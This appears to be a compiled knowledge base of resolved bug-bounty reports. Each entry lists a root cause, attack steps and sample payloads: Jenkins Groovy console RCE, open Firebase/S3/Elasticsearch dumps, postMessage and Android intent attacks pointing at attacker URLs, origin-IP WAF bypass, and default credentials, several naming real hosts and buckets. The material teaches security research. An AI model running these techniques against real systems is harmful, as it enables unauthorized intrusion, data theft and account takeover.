Specimen #93691 · shopify · 2000 · 6 votes · resolved
Program shopifySurface cloudTag cloud-awsTag file-upload
Root cause
The signed S3 browser-POST upload policy constrained the object key only with starts-with $key files/, not the exact key, so a captured signature+policy could be reused to write/overwrite any object under files/ in the bucket.
Method
- Buy/obtain a downloadable good so you can grab a victim object's S3 key
- On your own shop, upload a file and capture the POST policy/signature params
- Reissue the upload POST pointing $key at the victim's key you recorded
- Arbitrary content overwrites the victim's file in the shared bucket
# vulnerable policy condition:
[ "starts-with", "$key", "files/" ]
# should pin the exact key instead of a prefix
Insight — Audit S3 browser-POST policies: a starts-with on $key (or a broad prefix) plus a long expiry means any user can overwrite any object under that prefix. The policy must pin the exact key the client is uploading.
Real-world example
Oracle ADF Faces version disclosure via versionString.HIDDEN
◆ High
Specimen #1422641 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
When oracle.adf.view.rich.versionString.HIDDEN is left false (dev default) in a production ADF Faces app, the rendered HTML embeds ADF Faces and component version strings, fingerprinting an outdated, exploitable stack.
Method
- Identify an Oracle ADF app (URLs / af: markup).
- View source and grep for ADF version comments/strings.
- Map the disclosed version to known ADF CVEs.
# in page HTML source
<!-- ... Oracle ADF Faces version=... -->
# controlled by web.xml param: oracle.adf.view.rich.versionString.HIDDEN (should be true in prod)
Insight — For Oracle ADF targets, always view-source for the version string; the versionString.HIDDEN parameter is commonly misconfigured, handing you an exact version to CVE-match.
Real-world example
ASP.NET trace.axd enabled leaks session IDs and physical paths
◆ High
Specimen #2928785 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webChain leaked Session ID -> session hijackingTag account-takeover
Root cause
Application tracing left enabled on a public ASP.NET site; trace.axd exposes per-request diagnostics including Session ID values and server-side physical file paths.
Method
- Request /trace.axd on the target ASP.NET app.
- Read captured requests for Session IDs, physical paths, headers, and server variables.
https://TARGET/trace.axd
Insight — For ASP.NET targets, always check /trace.axd and /elmah.axd; enabled tracing hands you session identifiers (session hijack) and disk paths (recon for LFI/upload).
Real-world example
Public Grafana datasource proxy -> internal metrics query & DoS
◆ High
Specimen #764731 · deptofdefense · none · 1 votes · resolved
Program deptofdefenseSurface webChain Anon Grafana -> Prometheus proxy -> internal network r
Root cause
An unauthenticated Grafana instance exposes dashboards plus the Prometheus datasource proxy API (/api/datasources/proxy/N/api/v1/...), letting anyone run arbitrary PromQL against the backend - revealing internal IPs/host metadata and enabling resource-exhaustion DoS via heavy queries.
Method
- Find a public Grafana at /stats/ (or / ) with anonymous access
- Open a dashboard to learn the datasource proxy id
- Query the proxy API directly: label values, then targeted PromQL for sensitive series
- Extract internal IPs / infra data; note heavy queries can DoS Prometheus
curl -s 'https://TARGET/stats/api/datasources/proxy/1/api/v1/query?query=node_network_address_assign_type'
curl -s 'https://TARGET/stats/api/datasources/proxy/1/api/v1/label/__name__/values'
Insight — Treat any exposed Grafana as an SSRF-lite gateway: even without dashboards, the datasource proxy forwards raw PromQL/SQL/HTTP to internal backends. Enumerate /api/datasources/proxy/N and metric label values to map internal networks; heavy queries are a DoS.
Real-world example
Jenkins behind GitHub OAuth with no org restriction -> full read access
◆ High
Specimen #182104 · udemy · awarded · 63 votes · resolved
Program udemySurface webChain Any GitHub login -> Jenkins dashboard read -> source cTag oauth
Root cause
A public Jenkins used GitHub OAuth for auth but did not restrict to org/team membership, so any GitHub user who authenticated received full dashboard read access, exposing source code and third-party service credentials.
Method
- Find the exposed Jenkins (jenkins101.udemy.com) presenting a GitHub OAuth login
- Authenticate with any personal GitHub account
- Observe full read access to jobs, source code, and stored credentials
- Validate leaked creds (e.g. Sendgrid, AWS, Stripe) out-of-band
Insight — OAuth 'login with GitHub/Google' on internal tools is only as safe as its authorization check - test whether ANY external account is accepted (missing org/allowlist restriction). Jenkins in particular leaks source + credentials directly from the dashboard.
Real-world example
Public-read S3 bucket exposes all users' uploaded images
◆ Medium
Specimen #1021906 · shopify · USD 2900 · 134 votes · resolved
Program shopifySurface cloudTag cloud-aws
Root cause
The app's upload bucket (ping-api-production) is configured with public list/read; an unauthenticated user can browse the bucket root and read every merchant's/customer's uploaded images.
Method
- Capture an uploaded asset URL from the app (inspect page/network)
- Extract the S3 bucket host from the URL
- Request the bucket root to list objects and read arbitrary users' files
https://ping-api-production.s3.us-west-2.amazonaws.com/ # bucket root lists all objects
Insight — When you see an S3/GCS/Azure blob URL, strip the object key and hit the bucket root for a public listing; predictable/sequential object keys also let you enumerate other tenants' files.
Real-world example
Jenkins auth misconfig: any Google account logs in -> Script Console RCE
◆ Medium
Specimen #258117 · snapchat · awarded · 117 votes · resolved
Program snapchatSurface webChain SSO domain-restriction missing -> authenticated Jenkins -Tag oauth
Root cause
A Jenkins instance was configured with Google OAuth SSO but without domain restriction, so any Google account authenticated; authenticated users reach /script (Groovy Script Console) for arbitrary code execution.
Method
- Discover the Jenkins host via recon/content discovery
- Log in with any personal Google account (no domain allowlist)
- Browse to /script (Groovy console)
- Execute Groovy for RCE/LFI
// Jenkins /script Groovy console
println 'id'.execute().text
Insight — For SSO-protected internal tools (Jenkins, Grafana, etc.), test whether ANY provider account authenticates (missing hosted-domain restriction); combine with known post-auth RCE surfaces like the Jenkins Script Console.
Real-world example
Unauthenticated admin panel via forced browsing
◆ Medium
Specimen #1417288 · shopify · 2900 · 109 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
An administrative interface (admin.php) on an internal/cloud host was reachable without any authentication, exposing data edit/destroy capability.
Method
- Enumerate subdomains / cloud hosts (e.g. *.shopifycloud.com)
- Fuzz for admin paths (admin.php, /admin, ?_page=1)
- Access the panel directly - no auth prompt
GET /admin.php?_page=1 HTTP/1.1
Host: plus-website.shopifycloud.com
Insight — Internal/staging cloud subdomains often host CMS/admin panels with auth disabled; always content-discover admin.php/wp-admin/administrator on freshly-found hosts before assuming they're locked down.
Real-world example
PhpDebugBar left enabled in production leaks credentials/queries
◆ Medium
Specimen #1883806 · uber · awarded · 90 votes · resolved
Program uberSurface webChain debug toolbar -> leaked creds -> login
Root cause
A debugging toolbar (PhpDebugBar) was enabled on a production-reachable app, exposing SQL queries, request data and credentials in its data endpoints, allowing login with the leaked creds.
Method
- Detect PhpDebugBar (phpdebugbar assets/JS in HTML, /_debugbar/ open handler endpoints).
- Open the debug data / open-handler endpoints to read logged queries, request params and credentials.
- Use leaked credentials to authenticate (as admin where applicable).
# tells: page includes phpdebugbar.js / css; open handler:
GET /_debugbar/open?op=get&id=<request-id>
GET /_debugbar/open (lists stored debug requests)
Insight — Any left-on debug UI (PhpDebugBar, Symfony profiler /_profiler, Laravel Telescope, Django debug, Werkzeug console) is a credential/secret leak and sometimes RCE. Grep responses for debug-toolbar asset names and probe their data endpoints.
Real-world example
WAF bypass via origin-IP discovery -> internal admin panels
◆ Medium
Specimen #687908 · omise · awarded · 87 votes · resolved
Program omiseSurface webChain Origin-IP disclosure -> Host-header vhost access -> PgTag cloud-aws
Root cause
The real origin server IPs sit behind a WAF/proxy but are discoverable (Censys) and directly reachable. Hitting them with a spoofed Host header exposes internal-only vhosts (Grafana, PgHero, TokenModel) that assume perimeter protection.
Method
- Enumerate origin IPs for the target on Censys (censys.io/ipv4?q=<domain>)
- Connect directly to each IP over HTTP(S)
- Set Host header to the internal vhost name to route to hidden apps
- Reach PgHero and run arbitrary PostgreSQL queries; Grafana etc.
curl -sk https://35.244.200.254/ -H 'Host: pghero.dev-go.exchange'\n# Burp Match&Replace: Host: 35.244.200.254 -> Host: pghero.dev-go.exchange
Insight — Perimeter protection (Cloudflare/WAF) is void if origin IPs leak. Pull historical/cert-based IPs from Censys/Shodan/crt.sh, connect directly, and brute internal vhost names via the Host header. Internal dashboards (Grafana, PgHero, Kibana) often trust the network and expose DB query consoles.
Real-world example
Open Firebase Realtime Database from APK config -> world read/write
◆ Medium
Specimen #736283 · mobisystems_ltd · none · 69 votes · resolved
Program mobisystems_ltdSurface mobile-androidTag cloud-gcp
Root cause
A Firebase Realtime Database has default-open rules; the database URL is embedded in the Android app resources (strings.xml firebase_database_url), and appending /.json returns data instead of a permission error, allowing anonymous read and insert.
Method
- Decompile the APK and read res/values/strings.xml for firebase_database_url
- Request https://<db>.firebaseio.com/.json
- If it returns JSON/null rather than {"error":"Permission denied"}, the DB is open; write with a PUT/POST to /.json
# recon from APK
<string name="firebase_database_url">https://msdict-dev.firebaseio.com</string>
# test
curl 'https://msdict-dev.firebaseio.com/.json' # returns data/null, not Permission denied
Insight — Harvest Firebase/backend URLs from mobile app resources and JS bundles, then hit /.json. A null response (vs an explicit permission-denied) still signals misconfigured rules and often permits writes. Same pattern applies to Firestore and other backend-as-a-service endpoints.
Real-world example
Exported activity -> arbitrary URL in internal WebView
◆ Medium
Specimen #537670 · eternal · none · 52 votes · resolved
Program eternalSurface mobile-android
Root cause
The Android app exported an activity (HomeSalt) that read the incoming intent's data URI and loaded it into an internal WebView (ZWebView) with only a scheme check and no host allowlist, so any app could load attacker URLs in the trusted app context.
Method
- Decompile APK; find exported activity that forwards intent data to a WebView
- Confirm no host/allowlist check before loadUrl
- From a malicious app, start the activity with a http(s) URI
- Attacker page renders inside the victim app's WebView (XSS, phishing, token theft)
Intent intent = new Intent("android.intent.action.VIEW");
intent.setClassName("com.application.zomatomerchant","com.application.zomatomerchant.home.HomeSalt");
intent.setData(Uri.parse("https://attacker/"));
startActivity(intent);
Insight — For Android targets, enumerate exported activities and trace getIntent().getData() into WebView.loadUrl. Missing host allowlist = external control of the in-app WebView; escalate via exposed JS bridges or session cookies. Fix is a host check before loading.
Real-world example
IAM role trust policy lacks aws:SourceArn/SourceAccount -> cross-account confused deputy
◆ Medium
Specimen #3632577 · aws_vdp · none · 41 votes · resolved
Program aws_vdpSurface cloudTag cloud
Root cause
A CLI/IaC tool creates a service-assumable IAM role whose trust policy allows a service principal (bedrock-agentcore.amazonaws.com) to sts:AssumeRole with NO aws:SourceArn/aws:SourceAccount condition, so the same service in ANY account can trigger assumption of the victim's over-privileged role (confused deputy).
Method
- Create the resource via the vulnerable CLI path (agentcore gateway create) and inspect the role's AssumeRolePolicyDocument.
- Confirm the trust policy has a Service principal but no Condition (SourceArn/SourceAccount).
- From a different AWS account, configure the same service to use the victim role ARN; the service assumes the victim role on the attacker's behalf, granting the role's broad perms (secretsmanager:GetSecretValue *, kms:* , lambda:InvokeFunction *, etc.).
# vulnerable trust policy (no Condition):
{"Effect":"Allow","Principal":{"Service":"bedrock-agentcore.amazonaws.com"},"Action":"sts:AssumeRole"}
# correct form:
"Condition":{"StringEquals":{"aws:SourceAccount":"<acct>"},"ArnLike":{"aws:SourceArn":"arn:aws:bedrock-agentcore:<region>:<acct>:*"}}
Insight — Whenever an AWS service principal can assume a role, the trust policy MUST pin aws:SourceArn/SourceAccount or it's a cross-account confused deputy. Audit CLI/CDK/Terraform code paths specifically - the Console UI often adds the condition while the automation templates omit it (inconsistent code paths).
Real-world example
postMessage origin check via hostname suffix match (badexample.com matches example.com)
◆ Medium
Specimen #387279 · shopify · awarded · 39 votes · resolved
Program shopifySurface webChain broken postMessage origin check -> privileged app messageTag account-takeover
Root cause
A window message listener validated the sender origin with a suffix comparison (t.hostname.slice(-e.hostname.length) === e.hostname) intended to allow subdomains. Because it omitted the dot boundary, any host ending in the allowed string (badexample.com for example.com) passed, letting a third-party site send privileged app messages (e.g. open a modal overlay = pixel-perfect phishing on the trusted origin).
Method
- Identify the expected app origin the listener trusts
- Register a domain that ends with that hostname without a dot boundary (deexample.com for example.com)
- From that origin, postMessage the privileged command (e.g. open modal with attacker URL) to the target window
- The message is accepted; render a fake login overlay on the real admin origin
// vulnerable check:
e.hostname !== '' && t.hostname.slice(-e.hostname.length) === e.hostname
// 'badexample.com'.slice(-'example.com'.length) === 'example.com' => true
targetWindow.postMessage({type:'Shopify.API.Modal.open', url:'https://attacker/login'}, '*')
Insight — Audit every postMessage/window.opener handler's origin check. Suffix/startsWith/regex-without-anchors comparisons are bypassable by registering a lookalike domain that ends with (or contains) the allowed host. Correct check requires an exact match or a '.'+base boundary.
Real-world example
Shadow API plane (bedrock-mantle) bypasses published IAM Deny, CloudTrail filter & invocation logging
◆ Medium
Specimen #3702072 · aws_vdp · none · 39 votes · resolved
Program aws_vdpSurface apiTag cloud
Root cause
A parallel/undocumented service plane (bedrock-mantle.{region}.api.aws) accepts the same bearer API keys as the documented Bedrock plane but uses a different IAM action prefix and different CloudTrail field path, so vendor-published detection/prevention controls silently do not apply to it.
Method
- Discover the alternate endpoint and confirm it accepts the product's existing API keys (401 without/with bogus, 200 with valid).
- Test each published control against it: IAM/SCP Deny keyed on 'bedrock:CallWithBearerToken' does NOT match 'bedrock-mantle:CallWithBearerToken'.
- CloudTrail filter additionalEventData.callWithBearerToken=true misses events (field lives at requestParameters.callWithBearerToken).
- Invocation logging never captures mantle prompts -> zero visibility while the leaked key still bills inference.
curl -s -H "Authorization: Bearer $ABSK" https://bedrock-mantle.us-east-1.api.aws/v1/models | jq '.data|length'
# Deny on bedrock:CallWithBearerToken -> mantle still 200; only bedrock-mantle:CallWithBearerToken deny returns 403
Insight — When a service exposes multiple API planes/action prefixes, security controls keyed on ONE action string or ONE log field path are incomplete. Enumerate sibling endpoints (api.aws vs amazonaws.com), diff IAM action prefixes, and verify Deny policies + CloudTrail filters actually match every plane - not just the documented one.
Real-world example
Unauthenticated admin panel on a cloud staging subdomain
◆ Medium
Specimen #1394982 · shopify · awarded · 35 votes · resolved
Program shopifySurface webTag cloud-aws
Root cause
A staging deployment (plus-website-staging5.shopifycloud.com) exposed its /admin/ interface without authentication, with real-looking partner/customer data manageable.
Method
- Enumerate *.shopifycloud.com / *-staging* subdomains
- Browse to https://<host>/admin/
- Observe full administrative menu with create/modify/delete over partner and customer data
https://plus-website-staging5.shopifycloud.com/admin/
Insight — Staging/QA/dev copies of cloud apps frequently ship with auth disabled or default-open while holding production-grade data. Enumerate *-staging/dev/qa subdomains and probe /admin, /dashboard, actuator, etc.
Real-world example
Cloudflare/WAF bypass by locating the origin IP via SSL-certificate correlation
◆ Medium
Specimen #360825 · liberapay · none · 34 votes · resolved
Program liberapaySurface webTag cloud-aws
Root cause
The origin server accepts traffic from any source instead of allow-listing the CDN/WAF IP ranges, so once its real IP is found the reverse-proxy protections (WAF, DDoS filtering, hidden payload filtering) are bypassed by connecting directly.
Method
- Note the site fronts through Cloudflare IPs
- Search internet-wide scan data (Censys/Shodan) for hosts serving the same SSL certificate / page content
- Identify the AWS origin IPs behind the proxy
- Set a Host-header override / hosts entry pointing the domain at the origin IP
- Reach the app directly, bypassing WAF
# find origin via cert/content correlation (Censys: services.tls.certificates.leaf_data...)
curl -k https://<ORIGIN_IP>/ -H 'Host: www.target.com'
Insight — Origin-IP discovery via TLS-cert/favicon/content pivoting nullifies any CDN-based WAF unless the origin firewalls to CDN ranges only. Always test whether the origin answers direct requests once found.
Real-world example
Kubernetes NetworkPolicy bypass via completed-pod IP reuse
◆ Medium
Specimen #3328291 · aws_vdp · none · 28 votes · resolved
Program aws_vdpSurface cloudTag cloud-aws
Root cause
The Amazon VPC CNI NetworkPolicy controller did not remove per-IP firewall rules when a pod entered Completed state; a new unrelated pod later assigned that same IP inherited the completed pod's network access.
Method
- On EKS with VPC CNI enableNetworkPolicy=true, run a Job/pod A with IP X that a NetworkPolicy grants access
- Let pod A complete (rules for X remain on the node)
- Launch pod B with no NetworkPolicy allowance; wait for it to be assigned IP X
- Pod B now has pod A's network access until completed pod A is deleted
# Deployment + Service + NetworkPolicy(podSelector:{}) then a Job pod
# completed pod's firewall rules for its IP are not torn down
# new pod reusing that IP inherits the access
Insight — IP-keyed security state (firewall rules, allowlists, sessions) must be invalidated on resource teardown, not just deletion. In cloud/k8s, treat pod completion the same as deletion. Test IP-reuse windows to inherit stale grants.
Real-world example
Exposed Docker Registry v2 API -> image/source download
◆ Medium
Specimen #1989884 · deptofdefense · none · 26 votes · resolved
Program deptofdefenseSurface webTag cloud-aws
Root cause
Docker Registry HTTP API v2 exposed without authentication lets anyone enumerate repositories and pull image layers (blobs), leaking source code and secrets baked into images.
Method
- Find registries via shodan dork product:'Docker Registry HTTP API'
- GET /v2/_catalog to list repos
- GET /v2/<repo>/tags/list to get a tag
- GET /v2/<repo>/manifests/<tag> to read fsLayers
- GET /v2/<repo>/blobs/<blobSum> to download each layer .tar.gz
GET /v2/_catalog HTTP/1.1
Host: TARGET
GET /v2/<repo>/tags/list HTTP/1.1
GET /v2/<repo>/manifests/<tag> HTTP/1.1
GET /v2/<repo>/blobs/<blobSum> HTTP/1.1
Insight — An unauthenticated /v2/_catalog that returns 200 is a full source-code and secret leak; always pull manifests+blobs to prove impact rather than stopping at the catalog.
Real-world example
Exposed Sidekiq/admin dashboard (no auth)
◆ Medium
Specimen #1405673 · shopify · awarded · 26 votes · resolved
Program shopifySurface webTag api
Root cause
A Sidekiq web UI was mounted internet-facing with no authentication, exposing (and allowing control of) background jobs whose arguments were production hostnames.
Method
- Probe well-known admin/monitoring paths on each host (/sidekiq, /admin, /flower, /resque)
- Load /sidekiq/scheduled to read job args
- Confirm scope from the leaked arguments
https://TARGET/sidekiq and https://TARGET/sidekiq/scheduled
Insight — Ruby stacks frequently mount Sidekiq at /sidekiq without a guard; always fuzz for framework admin/monitoring dashboards on every subdomain.
Real-world example
Django debug traceback discloses config/credentials
◆ Medium
Specimen #1561377 · glovo · none · 25 votes · resolved
Program glovoSurface webTag cloud-aws
Root cause
A Django app running with DEBUG=True renders a full traceback on unhandled exceptions, exposing settings, DB user/URL/port, S3 URL, internal IPs, emails and source snippets.
Method
- Send a malformed/unexpected request to force a 500 (e.g. POST to /admin)
- Read the yellow Django debug page
- Harvest settings, DB creds, S3 URL, file paths
POST https://TARGET/admin (or invalid method/body) -> Django 500 traceback
Insight — Force errors (wrong verb, bad content-type, huge/empty body) on suspected Django/Flask/Rails apps; framework debug pages are one request away from full config disclosure.
Real-world example
Exposed Spring Boot Actuator (env/dump/trace)
◆ Medium
Specimen #304386 · grab · 250 · 23 votes · resolved
Program grabSurface webChain env cred leak -> internal service auth
Root cause
Spring Boot Actuator management endpoints (Eureka/Zuul microservice) exposed to the internet without filtering, leaking secrets via /env, /configprops, /dump and allowing state changes via POST /env, /refresh, /restart.
Method
- Identify Spring Cloud infra (Eureka/Zuul) subdomains
- Probe actuator endpoints: /info /env /dump /trace /configprops /beans /metrics /autoconfig /routes /features
- Read /env for embedded credentials (e.g. eureka user/pass)
- Optionally POST /env to mutate properties or /refresh /restart /pause to affect availability
GET /env
GET /dump
GET /trace
GET /configprops
GET /routes
# state change:
POST /env (update Environment / rebind @ConfigurationProperties)
POST /refresh POST /restart POST /pause
Insight — On any Spring Boot / Spring Cloud host always sweep the actuator endpoints; /env and /configprops leak DB/cloud creds and POST /env + /restart turns info-disclosure into config tampering and DoS.
Real-world example
Extension privileged action via web_accessible page + postMessage without origin check
◆ Medium
Specimen #470519 · kaspersky · awarded · 21 votes · resolved
Program kasperskySurface web
Root cause
The Kaspersky Chrome extension marks its warning page as web-accessible and drives an extension uninstall from a postMessage handler that never validates message origin, so any site can iframe the page and message it to trigger the action.
Method
- From an attacker page, iframe the extension's web_accessible warning page
- postMessage the target extension id (self-uninstall needs no user prompt in older Chrome)
- Extension uninstalls itself, removing protection
var f=document.createElement('iframe');
f.src='chrome-extension://EXTID/warning.html';
document.body.appendChild(f);
f.onload=()=>f.contentWindow.postMessage({action:'uninstall',id:'EXTID'},'*');
Insight — Audit extension web_accessible_resources for pages with postMessage/message handlers that lack an event.origin allowlist; these let arbitrary web pages invoke privileged extension actions.
Real-world example
Unauthenticated MQTT broker leaks license keys via wildcard subscribe
◆ Medium
Specimen #1578574 · acronis · USD 150 · 20 votes · resolved
Program acronisSurface networkTag account-takeover
Root cause
Mosquitto MQTT broker exposed on the internet with anonymous access enabled; any client can subscribe to all topics and read/write internal messages.
Method
- Find MQTT (default tcp/1883, or 8883) on the host
- Connect anonymously with any MQTT client
- Subscribe to the # wildcard to receive every topic
- Harvest sensitive payloads (license keys, emails, IPs)
# using python-mqtt-client-shell
host <target>
port 1883
connect
subscribe "#" 1
Insight — Message brokers and pub/sub (MQTT, AMQP, Redis, Kafka) exposed without auth are goldmines: the '#' wildcard dumps the entire bus. Port-scan for 1883/8883 and try anonymous subscribe on any IoT/telemetry-heavy target.
Real-world example
Directory listing / default files exposing internal data
◆ Medium
Specimen #201984 · ui · awarded · 18 votes · resolved
Program uiSurface web
Root cause
Web server autoindex enabled (or shipped default sample dirs) exposes uploaded files, employee PII, and framework artifacts to unauthenticated browsing.
Method
- Probe common indexable/default paths on the host
- Open the directory root and recurse into subfolders
- Harvest exposed files (uploads, employee photos/emails, sample apps)
# WordPress uploads autoindex
GET https://TARGET/wp-content/uploads/
# Tomcat default samples
GET https://TARGET/examples/
# Provisioning tools
GET https://TARGET/cobbler/ GET https://TARGET/cblr/
Insight — Always test /wp-content/uploads/, /examples/, and provisioning tool roots for autoindex. Directory listing on an app that stores PII/employee data is real impact, not just a nag.
Real-world example
Unauthenticated ops/infra panels: Eureka registry, Sidekiq UI, Jenkins /script
◆ Medium
Specimen #304240 · grab · 500 · 17 votes · resolved
Program grabSurface web
Root cause
Internal service/admin dashboards are exposed without authentication, allowing registry poisoning (Netflix Eureka), background-job control (Sidekiq), or Groovy RCE (Jenkins /script).
Method
- Fingerprint exposed ops tooling by path/banner (/eureka, /sidekiq, /script)
- Hit the unauthenticated REST/console; for Eureka, use the documented REST operations to register or mutate instances
# Netflix Eureka REST (unauthenticated) - register a rogue instance:
PUT /eureka/v2/apps/<APPID> HTTP/1.1
Host: eureka.target
# Sidekiq admin UI:
GET /sidekiq/busy
# Jenkins Groovy console (RCE):
GET /script
Insight — After recon, probe for management endpoints by well-known path. Eureka lets you register a rogue node into the service's load balancing; Sidekiq lets you stop/inspect jobs; Jenkins /script is direct Groovy RCE; Spring /actuator often nearby. All three are 'exposed unauthenticated infra panel' variants.
Real-world example
LDAP anonymous bind enabled
◆ Medium
Specimen #1869184 · us-department-of-state · none · 16 votes · resolved
Program us-department-of-stateSurface network
Root cause
LDAP service on 389 allows anonymous binds, exposing directory contents without credentials.
Method
- Find hosts with 389/636 open during recon
- Run nmap ldap scripts to confirm anonymous access
- Enumerate the directory with an LDAP browser using an empty bind
nmap -n -Pn --script "ldap* and not brute" TARGET
# or:
ldapsearch -x -H ldap://TARGET -b "dc=example,dc=com" -s sub "(objectclass=*)"
Insight — Add LDAP anonymous-bind checks to any network-service recon: nmap ldap* scripts or an empty-credential ldapsearch quickly reveal directory exposure that leaks users, groups and infra topology.
Real-world example
Unauthenticated Elasticsearch (port 9200) index enumeration and dump
◆ Medium
Specimen #2231261 · deptofdefense · none · 16 votes · resolved
Program deptofdefenseSurface web
Root cause
An Elasticsearch instance is exposed on :9200 with no authentication, so anyone can enumerate indices and dump documents via the REST API.
Method
- Identify an Elasticsearch service (Server header, :9200, /_cat/indices, / returns cluster JSON with version).
- List indices: estk --url=https://TARGET list (or GET /_cat/indices?v).
- Dump an index: estk dump --url=https://TARGET --index=NAME (or use elasticsearch-dump).
estk --url=https://TARGET list
estk dump --url=https://TARGET --index=aim_high
# or: GET /_cat/indices?v and GET /INDEX/_search?size=10000
Insight — Fingerprint exposed data stores (Elasticsearch :9200, Kibana, Mongo :27017, Redis :6379) during recon; unauthenticated Elasticsearch is a one-request dump. /_cat/indices and / (root, returns version) confirm it instantly.
Real-world example
Public, listable S3 bucket exposing all uploads
◆ Medium
Specimen #905641 · trycourier · none · 15 votes · resolved
Program trycourierSurface cloudChain Public bucket -> mass data disclosure; SVG upload -> pTag cloud-awsTag file-upload
Root cause
An application's upload bucket had public-read (and list) ACL, so uploaded object URLs revealed the bucket name and the whole object namespace could be listed and downloaded anonymously; the same endpoint also accepted SVG (stored-XSS vector).
Method
- Upload a file in the app and copy the returned object URL to recover the S3 bucket name.
- List the bucket anonymously and enumerate all objects/prefixes.
- Download arbitrary objects; note SVG acceptance as a possible stored-XSS delivery.
aws s3 ls s3://backend-production-librarybucket-1izigk5lryla9 --no-sign-request
aws s3 cp s3://backend-production-librarybucket-1izigk5lryla9/<key> . --no-sign-request
# object URL that leaks the bucket name:
# https://s3.amazonaws.com/backend-production-librarybucket-1izigk5lryla9/<uuid>/<file>
Insight — Any user-visible S3 object URL leaks the bucket name; immediately test anonymous ls/cp (--no-sign-request). Bucket names often encode env+service (backend-production-librarybucket), aiding further recon. Check whether SVG/HTML uploads are served inline for stored XSS.
Real-world example
Exposed management panel with default credentials
◆ Medium
Specimen #1415241 · elastic · awarded · 13 votes · resolved
Program elasticSurface webChain cert fingerprint -> exposed panel -> default creds -&g
Root cause
An internet-exposed Rundeck instance (its SSL certificate pointed at ElasticSearch infrastructure) accepted default credentials admin/admin, giving unauthorized access and version/path disclosure.
Method
- Identify an exposed host and read its SSL certificate SANs to fingerprint the service
- Reach the login page (/user/login)
- Try default credentials (admin/admin) for the identified product
curl -kv https://TARGET # cert SAN reveals product
# then: https://TARGET/user/login login admin/admin
Insight — SSL certificate SANs on a bare IP reveal what service it hosts; pair that with default-credential lists for management panels (Rundeck, Kibana, Grafana, Jenkins). Exposed admin panels are a fast, transferable win.
Real-world example
Unauthenticated Dropwizard AdminServlet exposes server internals
◆ Medium
Specimen #651355 · uber · USD 500 · 12 votes · resolved
Program uberSurface web
Root cause
A Dropwizard service exposes its admin port/servlet without authentication, so anyone can hit the built-in admin endpoints (metrics, threads, healthcheck) and read running threads, CPU/JVM info and other production telemetry.
Method
- Identify a Dropwizard app (admin servlet on a separate port, often 8081, or /admin)
- Request the admin endpoints without auth
- Read /threads, /metrics, /healthcheck for server internals
GET /admin (or admin port :8081)
GET /threads # full thread dump
GET /metrics # JVM/app metrics
GET /healthcheck
Insight — Framework admin/metrics consoles are recurring recon wins: Dropwizard AdminServlet (/metrics /threads /healthcheck), Spring Boot Actuator (/actuator/env /heapdump), Prometheus /metrics. Thread dumps and env endpoints frequently leak secrets, internal hostnames and tokens. Scan for the admin port and /admin.
Real-world example
HSTS bypass via IDN homoglyph full stop (curl CVE-2022-42916)
◆ Medium
Specimen #1753226 · ibb · awarded · 12 votes · resolved
Program ibbSurface otherChain HSTS bypass -> HTTP downgrade -> MITM
Root cause
HSTS host matching happens before IDN-to-ASCII conversion; using a Unicode look-alike dot (U+3002 IDEOGRAPHIC FULL STOP) makes the pre-conversion hostname not match the stored HSTS entry, so the client stays on cleartext HTTP.
Method
- Take a host that has an HSTS entry (would normally force HTTPS).
- Replace the ASCII '.' separators with U+3002 (or other IDN dots) in the URL.
- HSTS lookup misses; the client issues the request over HTTP, exposing it to MITM downgrade.
http://curl。0se。 # U+3002 ideographic full stop instead of ASCII '.'
# HSTS entry for 'curl.se' not matched -> request goes out as HTTP
Insight — Order-of-operations bugs between normalization (IDN/punycode, unicode NFC, case-folding) and security checks (HSTS lists, host allowlists, SSRF blocklists) are a recurring bypass class. Try homoglyph dots and trailing-dot forms against any host-based security decision.
Real-world example
Adobe AEM info disclosure via selector/.json suffix
◆ Medium
Specimen #1939272 · deptofdefense · none · 12 votes · resolved
Program deptofdefenseSurface web
Root cause
A misconfigured Adobe Experience Manager (AEM) dispatcher exposes the Sling default GET servlet: appending selectors like /.1.json (or .infinity.json) renders JCR node content, leaking webroot templates, node structure, and internal usernames.
Method
- Identify AEM (paths like /content/, /etc/, /libs/, dispatcher fingerprints).
- Append /.1.json (depth 1) or .infinity.json / .tidy.json to a content path.
- Read the JSON dump of templates, node tree, and system usernames.
GET /content/<path>/.1.json
GET /content/<path>.infinity.json
GET /.1.json
Insight — Against AEM/Sling always try the .json / .infinity.json / .1.json selector suffixes and known unprotected paths (/etc, /libs/granite, /system/console); the dispatcher often forgets to filter selector-based renders.
Real-world example
Connection-pool reuse ignoring security options (curl TLS/SSH, CVE-2022-27782)
◆ Medium
Specimen #1565624 · ibb · USD 2400 · 11 votes · resolved
Program ibbSurface otherTag jwt
Root cause
libcurl reuses a pooled connection whenever host/port/protocol match, but the config-match check omits security-relevant options (SSL options, CRL file, TLS-auth user/pass, client-cert, SSH key files, GSS delegation), so a second transfer inherits the first transfer's (weaker or different) identity/security posture.
Method
- In one process, open a connection with lax/authenticated settings (e.g. CURLSSLOPT_ALLOW_BEAST, a specific client cert, or SSH keypair)
- Issue a second transfer to the same host that requests stricter/different security options
- The pooled connection is reused, so the second transfer runs with the first's security context (downgrade / wrong identity / reused auth session)
# Options omitted from the reuse match (should force a new connection):
CURLOPT_SSL_OPTIONS, CURLOPT_CRLFILE,
CURLOPT_TLSAUTH_TYPE/USERNAME/PASSWORD (+ PROXY_ variants),
CURLOPT_SSH_PUBLIC_KEYFILE, CURLOPT_SSH_PRIVATE_KEYFILE,
CURLOPT_GSSAPI_DELEGATION
Insight — Any connection/session-caching layer must include EVERY security-relevant parameter in its cache key. When auditing HTTP clients, DB drivers, or SSH multiplexers, test whether changing auth/TLS/delegation options between requests actually forces a new connection or silently reuses a privileged one.
Real-world example
Leftover dev script include from unprivileged localhost port -> local code injection
◆ Medium
Specimen #331752 · khanacademy · none · 11 votes · resolved
Program khanacademySurface webTag supply-chain
Root cause
A production page shipped a leftover <script src="http://localhost:8021/webpack-dev-server.js">. Port 8021 is unprivileged, so on a multi-user machine any local user can bind it and serve arbitrary JS that runs in the context of the page for every other user of that computer.
Method
- Grep production HTML/JS for http://localhost:<port> or webpack-dev-server includes
- Confirm the port is unprivileged (>1024) and unbound
- On a shared host, bind the port and serve malicious JS to hijack the page for co-located users
<script src="http://localhost:8021/webpack-dev-server.js"></script>
